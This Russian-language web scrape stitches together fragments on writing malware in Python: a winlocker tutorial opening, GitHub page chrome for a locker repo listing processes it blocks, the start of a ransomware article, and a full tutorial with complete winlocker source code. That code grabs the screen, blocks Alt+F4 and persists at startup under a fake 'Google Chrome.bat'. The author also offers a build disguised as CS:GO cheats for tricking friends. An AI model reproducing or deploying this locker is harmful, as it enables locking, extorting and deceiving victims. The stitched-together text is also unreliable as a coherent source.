Простой winlocker на python

@North_commandef
Всем привет, сегодня напишем простой winlocker на языке python.
Что это?
Winlocker(Винлокер) — семейство вредоносных программ, блокирующих или затрудняющих работу с операционной системой, и требующих перечисление денег злоумышленникам за восстановление работоспособности компьютера, частный случай Ransomware (программ-вымогателей).
Из этого описания мы можем понять что, winlocker — это программа которая просто мешает работе вашего компьютера.
Реализация
Мы сделаем окно которое будет вылезать при запуске программы, и блокировать любые движения (например: мышки), ну и требовать ввод пароля.
Saved searches
Use saved searches to filter your results more quickly
Cancel Create saved search
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.
WinLocker-007 это простое приложение, позволяющее блокировать ваш компьютер
iterweb/winlocker-007
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Switch branches/tags
Branches Tags
Could not load branches
Nothing to show
Could not load tags
Nothing to show
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Cancel Create
- Local
- Codespaces
HTTPS GitHub CLI
Use Git or checkout with SVN using the web URL.
Work fast with our official CLI. Learn more about the CLI.
Sign In Required
Please sign in to use Codespaces.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching Xcode
If nothing happens, download Xcode and try again.
Launching Visual Studio Code
Your codespace will open once ready.
There was a problem preparing your codespace, please try again.
Latest commit
Git stats
Files
Failed to load latest commit information.
Latest commit message
Commit time
README.md
Added rewritten version the WinLocker-007
- python==3.7
- keyboard==0.13.5
- psutil==5.7.2
Хитрость WinLocker-007 в том, что стандартное подтверждение пароля по клавише ENTER не сработает, даже если он будет правильным, вместо этого, пароль принимается по сочетанию клавишь Alt-s (можно изменить, 34 строка). Для работы нужно создать файл pas.txt и вписать туда свой пароль, на 21 строке указать путь к файлу.
- taskmgr.exe
- cmd.exe
- powershell.exe
- powershell_ise.exe
- regedit.exe
- mmc.exe
- msconfig.exe
- ProcessHacker.exe
- iexplore.exe
- game.exe
About
WinLocker-007 это простое приложение, позволяющее блокировать ваш компьютер
Как написать шифровальщик на Python
Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Дополнительно установим несколько модулей, которые будем использовать:
Написание WinLocker’а на Python
Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.
Вступление
И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!
Что нам нужно?
Для создания винлокера нам понадобится:
- Сам Python, установить который вы сможете на официальном сайте
- Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)
- Доступ к интернету для установки необходимых модулей в PyPI
- Компьютер, работающий на ОС Windows
- Хоть какое-то базовое познание Python
- Прямые руки
- Чай с молоком, или в крайнем случае кофе
Приступаем к написанию
Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.
Создаём файл main.py в любой директории

После этого открываем его в любом редакторе.

И начинаем писать наш волшебный код.
Установка и импорт модулей
Ах да. чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd

и попадаем в командную строку.

вводим туда pip install getpass3
И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound
Потом возвращаемся в наш файл, и пишем в нём слудующее:
# Импортируем все модули, которые нам пригодятся from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep
Создание окна
После этого для удобства ставим отступ, и пишем вот такое
USER_NAME = getpass.getuser()
Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.
Потом вводим в наш файл такие истрочки, пояснение будет в комментариях
window = Tk() # Присваиваем переменной window значение окна, чтобы мы не писали всегда Tk() window.title("WinLocker by GDisclaimer") # Делаем заголовок окна WinLocker by GDisclaimer window.geometry('400x250') # Хотя это нам не понадобиться, но на всякий случай, это делает размер окна 400 на 250 пикселей window['bg'] = 'black' # Теперь наше окно будет чёрным window.mainloop() # Эта строчка нам нужна, чтобы окно не закрывалось сразу же после открытия

Для удобства, вот вам код, который вы должны скопировать:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' window.mainloop()
Запуск, и проверка кода на работоспособность
Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:
cd "C:\Your\Path\To\The\Main\Py\File"
Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так
cd "C:\myFiles"

потом вводим вот такую строчку:
python main.py
В результате у вас должно запуститься окно.

Круто! Но ведь это ещё далеко не винлокер.
Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность
Делаем окно адаптивным
Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920×1080 мониторы. У меня самого монитор 1366×768. А у кого-то мониторы ещё меньше

И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.
К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.
ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()
# Base size normal_width = 1920 # Задаём ширину обычного монитора normal_height = 1080 # Задаём высоту обычного монитора # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize))

Опять-же вот вам весь код:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) window.mainloop()
Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше
Добавляем функции
Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.
# Запускаем песню, которую вы должны скачать def play(test): playsound('sound.mp3', False) # Добавляем наш винлокер на автозапуск def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) # Эта функция не даёт нам закрыть окно путём Alt + F4 def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() # Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем плане def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) # Тут мы проверяем пароль на правильность def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit()
Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо
И да, на первой строчке мы видим функцию play(test) . Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.
Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем

Делаем апгрейд интерфейса
До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?
Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):
add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапуск fullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран # Создаем текст txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') # Используем метод .grid, чтобы текст появился на экране txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) # Расставляем весь текст по местам txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) # Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked() txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) # Врубаем ранее установленную песню play('sound.mp3')
ВНИМАНИЕ! ОКНО ЗАКРЫВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4
А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya
Запускаем и проверяем. Окно должно выглядеть вот так:

Если же нет, то вот вам весь код:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) def play(test): playsound('sound.mp3', False) def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit() add_to_startup("C:\\myFiles\\main.py") fullscreen() txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) play('sound.mp3') window.mainloop()
Убираем возможность закрытия окна путём Alt + F4
Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.
Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()

Теперь от винлокера можно избавиться вводом кода.
КОД: petya
Убираем возможность снять винлокер путём закрытия командной строки
Особо внимательные читатели додумались закрывать винлокер обычного закрытия командной строки. Если вы меня не поняли, ничего страшного. Потом поймёте. нам нужно всего лишь к файлу main.py добавить w, чтобы получилось main.pyw
Исходный код
Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:
from playsound import * import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep USER_NAME = getpass.getuser() window = Tk() window.title("WinLocker by GDisclaimer") window.geometry('400x250') window['bg'] = 'black' # Base size normal_width = 1920 normal_height = 1080 # Get screen size screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() # Get percentage of screen size from Base size percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) # Make a scaling factor, this is bases on average percentage from # width and height. scale_factor = ((percentage_width + percentage_height) / 2) / 100 # Set the fontsize based on scale_factor, # if the fontsize is less than minimum_size # it is set to the minimum size fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size # Create a style and configure for ttk.Button widget default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) def play(test): playsound('sound.mp3', False) def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'petya': file_path = '/tmp/file.txt' file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME os.remove(file_path) sys.exit() add_to_startup("C:\\myFiles\\main.py") fullscreen() txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="ВВОД КОДА", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) block() play('sound.mp3') window.mainloop()
.EXE файл
Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)
Заключение
В заключение я хочу сказать скептикам - делать вирусы можно хоть где. Даже на том самом PHP.
Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.
Всем удачи, и хорошего дня!